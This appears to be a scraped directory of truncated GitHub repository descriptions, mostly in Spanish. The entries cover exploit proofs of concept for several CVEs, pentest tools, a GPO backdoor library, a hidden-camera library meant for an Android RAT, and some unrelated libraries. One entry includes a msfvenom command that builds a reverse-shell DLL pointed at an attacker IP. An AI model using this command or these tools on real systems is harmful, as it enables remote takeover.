CVE-2024-48990

CVE-2024-48990 Exploit para CVE-2024-48990 Escalada de privilegios local en needrestart 3.8 Antecedentes Lee https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys hace un gran trabajo...

codehaus-plexus__plexus-utils_CVE-2022-4244_3-0-23

Plexus-Utils El master actual se encuentra ahora en https://github.com/codehaus-plexus/plexus-utils...

NimNightmare

CVE-2021-1675 LPE PoC ¡no es mi exploit! solo quería experimentar con la librería winim en nim. Uso Genera el payload DLL con msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll y luego inicia el handler en tu máquina atacante. En la víctima ejecuta...

secator

La navaja suiza del pentester. Características • Comandos soportados • Instalación • Uso • Documentación • ¡Únete a nosotros en Discord! secator es un ejecutor de tareas y flujos de trabajo utilizado para evaluaciones de seguridad. Soporta docenas de herramientas de seguridad conocidas y está...

KubeStalk

KubeStalk KubeStalk is a tool to discover Kubernetes and related infrastructure based attack surface from a black-box perspective. This tool is a community version of the tool used to probe for unsecured Kubernetes clusters around the internet during Project Resonance - Wave 9. Usage The GIF belo...

gpblib

GPBLib GPBLib contiene el código común utilizado por los proyectos GroupPolicyBackdoor, OUned y GPOddity para manipulaciones de GPO...

dnsdmpstr

dnsdmpstr Unofficial API & Client for DNS Dumpster and HackerTarget.com IP tools. https://dnsdumpster.com/ https://hackertarget.com/ip-tools/ Installation git clone https://github.com/zeropwn/dnsdmpstr cd dnsdmpstr pip3 install -r requirements.txt chmod +x ddump.py Usage As a command-line utility...

SwiftyInsta

SwiftyInsta legacy Tenga en cuenta que SwiftyInsta ya no se mantiene activamente. Consulte 244 para más información. Eche un vistazo a Swiftagram si busca alternativas actualizadas. Instagram ofrece dos tipos de API para desarrolladores. La Plataforma de la API de Instagram extremadamente limitad...

CVE-2025-24071

CVE-2025-24071 Este script de Python está diseñado para demostrar la vulnerabilidad CVE-2025-24071 en el Explorador de Windows. Esta vulnerabilidad permite a un atacante capturar credenciales netNTLMv2 de una víctima sin ninguna interacción directa de la misma. Descripción La vulnerabilidad...

dromara__hutool_CVE-2018-17297_4-1-1111

Un conjunto de herramientas que mantienen Java dulce. -- Inicio: http://hutool.cn/ -- -- QQ Grupo ②: 871141901 -- Introducción Hutool es un paquete de herramientas para Java, y solo eso; nos ayuda a simplificar cada línea de código, reducir cada método y hacer que el lenguaje Java también sea...

CVE-2024-41817-poc

ImageMagick Ejecución Arbitraria de Código CVE-2024-41817 Exploit de Prueba de Concepto para versiones de ImageMagick = 9.4.0 Paquetes de Python: paramiko Instalación git clone https://github.com/Dxsk/CVE-2024-41817-poc/ cd CVE-2024-41817-poc pip install -r requirements.txt Uso Detección automáti...

wa-tunnel

wa-tunnel - Túnel TCP a través de Whatsapp Esto es un fragmento de código basado en Baileys que permite tunelizar datos TCP a través de dos cuentas de Whatsapp. Esto puede ser útil en diferentes situaciones, por ejemplo, operadores de red que ofrecen datos ilimitados de whatsapp o aviones donde...

fileintel

fileintel This is a tool used to collect various intelligence sources for a given file. Fileintel is written in a modular fashion so new intelligence sources can be easily added. Files are identified by file hash MD5, SHA1, SHA256. The output is in CSV format and sent to STDOUT so the data can be...

startpage-parser

startpage-parser analiza los resultados de búsqueda del motor de búsqueda startpage basado en los resultados de google.com puedes usarlo si necesitas obtener resultados sin que te baneen de Google INSTALACIÓN desde pip $ pip install startpage-parser desde el código fuente $ git clone...

LiveHiddenCamera

Cámara Oculta en Vivo Live Hidden Camera LHC es una biblioteca que graba video y audio en vivo desde un dispositivo Android sin mostrar una vista previa. Motivación Estoy trabajando en un malware Android basado en investigación y decidí crear una RAT Herramienta de Administración Remota...

czds

CZDS What is CZDS? Each Top Level Domain TLD is maintained by a registry operator, who also manages a publicly available list of Second Level Domains SLDs and the details needed to resolve those domain names to Internet Protocol IP addresses. The registry operator’s zone data contains the mapping...

get-pixels-updated

Esta es una versión actualizada de get-pixels que corrige la vulnerabilidad de seguridad CVE-2020-8175. En el momento de su creación, todos los archivos son los mismos que los del repositorio original, a excepción del package.json. get-pixels-updated Lo siguiente es de la página de GitHub de...

FastJson1.2.62-RCE

Fastjson=1.2.62 RCE Análisis de vulnerabilidad: https://www.cnblogs.com/tr1ple/p/12348886.html...

rsyscall

Resumen rsyscall es una biblioteca que proporciona una interfaz a un subconjunto en constante crecimiento de las llamadas al sistema de Linux. Esta interfaz es: independiente del proceso : todas las llamadas al sistema se invocan como métodos sobre objetos de proceso, los cuales pueden referirse ...

pyOneNote

pyOneNote pyOneNote is a lightweight python library to read OneNote files. The main goal of this parser is to allow cybersecurity analyst to extract useful information from OneNote files. Installing the parser Installing the latest development pip install -U...